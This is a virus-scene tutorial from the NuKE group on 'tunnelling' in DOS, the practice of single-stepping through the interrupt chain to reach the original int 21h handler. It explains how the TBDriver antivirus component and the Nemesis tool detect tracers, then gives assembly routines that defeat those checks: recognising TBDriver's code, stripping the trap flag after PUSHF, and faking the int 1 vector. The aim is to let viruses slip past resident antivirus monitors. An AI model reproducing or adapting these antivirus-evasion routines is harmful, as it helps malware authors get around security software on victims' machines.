Dark Fiber of [NuKE]
presents
Single Stepping Tunnel Techniques
Part 2
Anti-Tracers

      Okey, so you have run the Example.Com program and TBDriver has beeped
    to the tune of Example.Com is trying to trace the Interrupt chain, or something
    to that effect.  Your first question should be "How the hell does it know we
    are tracing it?"

    Well, I'm glad you asked! ;)

    Here is a simple representation

            Code Memory                             Stack Memory

            mov     ax,1234h
            push    ax                              1234h
            mov     bx,5678h                        1234h
            mov     cx,DEADh                        1234h
            push    cx                              DEADh, 1234h
            push    bx                              5678h, DEADh, 1234h

            pop     ax      ;=5678h                 DEADh, 1234h
            pop     bx      ;=DEADh                 1234h
            pop     cx      ;=1234h

    Now, even tho we have poped them off memory, what has actually happend is
    that the SP add had 2 added to it each time, adjusting where it points to,
    but those values ARE STILL IN MEMORY, just below where SP points to currently.

            so, if  we did

            sub     sp,6

            the Stack Memory would look like

            5678h, DEADh, 1234h

    The contents of memory have not been altered in any way, just the pointer
    to the memory has.

    Now, using the above example, this is what happens when we tunnel

    assume,   int 1 CS=code, flags=flags, and the # is the ip.

    When an INT occurs, it pushes the flags, cs, and ip onto the stack.

            Code Memory                     Stack Memory
    cs:=code

    1)      mov     ax,1234h
    2)     *int     1*                              3, code, flags,
    3)      push    ax                              1234h
    4)     *int     1*                              5, code, flags, 1234h
    5)      mov     bx,5678h                        1234h
    6)     *int     1*                              7, code, flags, 1234h
    7)      mov     cx,DEADh                        1234h
    8)     *int     1*                              9, code, flags, 1234h
    9)      push    cx                              DEADh, 1234h
    a)     *int     1*                              b, code, flags, DEADh, 1234h
    b)      push    bx                              5678h, DEADh, 1234h
    c)     *int     1*                              d, code, flags, 5678h, DEADh...
    d)      pop     ax      ;=5678h                 DEADh, 1234h
    e)     *int     1*                              f, code, flags, DEADh, 1234h
    f)      pop     bx      ;=DEADh                 1234h
    10)    *int     1*                              11, code, flags, 1234h
    11)     pop     cx      ;=1234h

    Now, if we were to subtract SP by 6, this time our Stack Memory would look
    like this,

            code, flags, 1234

    Notice that the bottom 4 bytes are not 5678h, DEADh, thats because when an
    Int 1 occurs, it overwrites whats underneath it.

    (Hope I'm explaining this so you understand ;)

    This is how TBdriver detects a tracer is in memory.

    Here is the actual TBDriver code

            push    bx
            push    ax
            xchg    ax,bx
            pop     ax
            dec     sp
            dec     sp
            pop     bx
            cmp     ax,bx
            pop     bx

    Now, when its run without a tracer its Stack Memory looks like this

    assume ax=1234, bx=5678

            Code                            Stack
            push    bx      ;bx=5678h       5678h

            push    ax      ;ax=1234h       1234h, 5678h

            xchg    ax,bx   ;ax=5678h       1234h, 5678h
                            ;bx=1234h

            pop     ax      ;ax=1234h       5678h
                            ;bx=1234h
            dec     sp                      34h, 5678h
            dec     sp                      1234h, 5678h

            pop     bx      ;ax=1234h       5678h
                            ;bx=1234h

            cmp     ax,bx   ;ax=1234h       5678h
                            ;bx=1234h

            pop     bx      ;ax=1234h
                            ;bx=5678h

    Underneath the stack, it looks like this

                            1234h,  5678h

    Because the SP is decremented, and the stack untouched, 1234h is still
    there.

    Now, if we traced it....

            Code                            Stack
            push    bx      ;bx=5678h       5678h

           *int     1*                      ip, code, flags, 5678h

            push    ax      ;ax=1234h       1234h, 5678h

           *int     1*                      ip, code, flags, 1234h, 5678h

            xchg    ax,bx   ;ax=5678h       1234h, 5678h
                            ;bx=1234h

           *int     1*                      ip, code, flags, 1234h, 5678h

            pop     ax      ;ax=1234h       5678h
                            ;bx=1234h

           *int     1*                      ip, code, flags, 5678h

            dec     sp                      ags, 5678h
            dec     sp                      flags, 5678h

           *int     1*                      ip, code, flags, flags, 5678h

            pop     bx      ;ax=1234h       ;5678h
                            ;bx=flags
           *int     1*                      ip, code, flags, 5678h

            cmp     ax,bx   ;ax=1234h       5678h
                            ;bx=flags

           *int     1*                      ip, code, flags, 5678h

            pop     bx      ;ax=1234h
                            ;bx=5678h

    Now, when SP is decremented, because the last value pushed was the flags,
    it overwrote the previously pushed AX in memory...... TB detects this,
    notices its not what it expected it to be, and knows we are tracing it.

    How do we get around this?  Well, in TBDriver, its structured so that
    the first two bytes are a short jump OVER a far jump to the original
    DOS Int21h..... So we check for TBcode, and use the far jump data ;)

    The code to fool TBScan looks like this

    ;Place this code underneath the ItsNotJmpD: label.
    TBKiller:
            cmp     al,0fah                         ;CLI?
            jne     EndTBKiller
            lodsw
            cmp     ax,0fc9c                        ;Is it TBDriver?
            jne     EndTBKiller
            lodsw
            cmp     ax,05053                        ;TBDriver?
            jne     EndTBKiller
            sub     si,10
            mov     w[bp+_rip],si                   ;Run the original FAR jump
            inc     si                              ;skip EAh, so its data.
            jmp     FARJumpData

    EndTBKiller:

    "Gee, I heard Nemesis is damn tricky?"  Eh? Not any more!  All Nemesis
    does to find tracers is do a PUSHF, then check W[BP+xx],0404, JB,
    Now, if the TF is on, the FLAGS is > 0404, so, we add a status bit that
    tells us that the LAST OPCODE RUN was a PUSHF, so remove the TF ;)
    Now is that simple or what?

    The last method of killing a tracer while its running goes like this.

    1.  Get the address of Int 1h
    2.  Replace the first byte of the Int 1h seg:offs with an IRET opcode
    3.  Remove the trace flag
    4.  Restore the frist byte of Int 1h

    To do that the code looks like

            mov     ax,03501h
            int     21h
            mov     cl,0CFh
        es: xchg    byte ptr [bx], cl
            pushf
            pop     ax
            and     ax,0feff
            push    ax
            popf
        es: xchg    byte ptr [bx], cl

    Now, how do you defeat this?  Well, this *type* is pretty easy to avoid to.
    The code goes something like this.

    ;Under the EndTBKiller: label goes this,

    Kill_INT_1_Killers:
            cmp     al,0CDh                                 ;INT call?
            jne     End_Kill_Int_1_Killers
            cmp     byte ptr [si],021h                      ;21?
            jne     End_Kill_Int_1_Killers
            cmp     word ptr [bp+_ax],03501                 ;GET INT 1?
            jne     End_Kill_Int_1_Killers
        cs: or      byte ptr [_Status],2                    ;turn on fake int adres
    End_Kill_Int_1_Killers:

    ;Under  RunNextTest_1:  put the code
            test    byte ptr [_Status],2            ;fake the address?
            je      RunNextTest_2
            xor     byte ptr [_Status],2
            mov     ax, word ptr [Int_01v]          ;get the orig, int 1 address
            mov     word ptr [bp+_bx],ax            ;put in into bx
            mov     ax, word ptr [Int_01v+2]
            mov     word ptr [bp+_es],ax            ;put it into es
            ;Now when it writes a byte to int 1, it
            ;will be writting to the unused int 1.
    RunNextTest_2:

    But what happens if they get our Int_1 address directly from the IVT?
    Well..... you can check if they are putting a byte into our segment,
    but, because of the miriad of differnt ways one can put a byte into
    a position in memory, well, if you are a masochist you can come up with
    that code all by yourself.

    Well, I hope I've explained it so that you understand how tunnelers work.
    If you want to see a different kind of tunneler check out ART 2.2 whos'
    full source code is in vlad#4. This tunneler does not use int 1, but rather
    decodes each single opcode.

    Ah well, if you didnt understand then i really screwed up.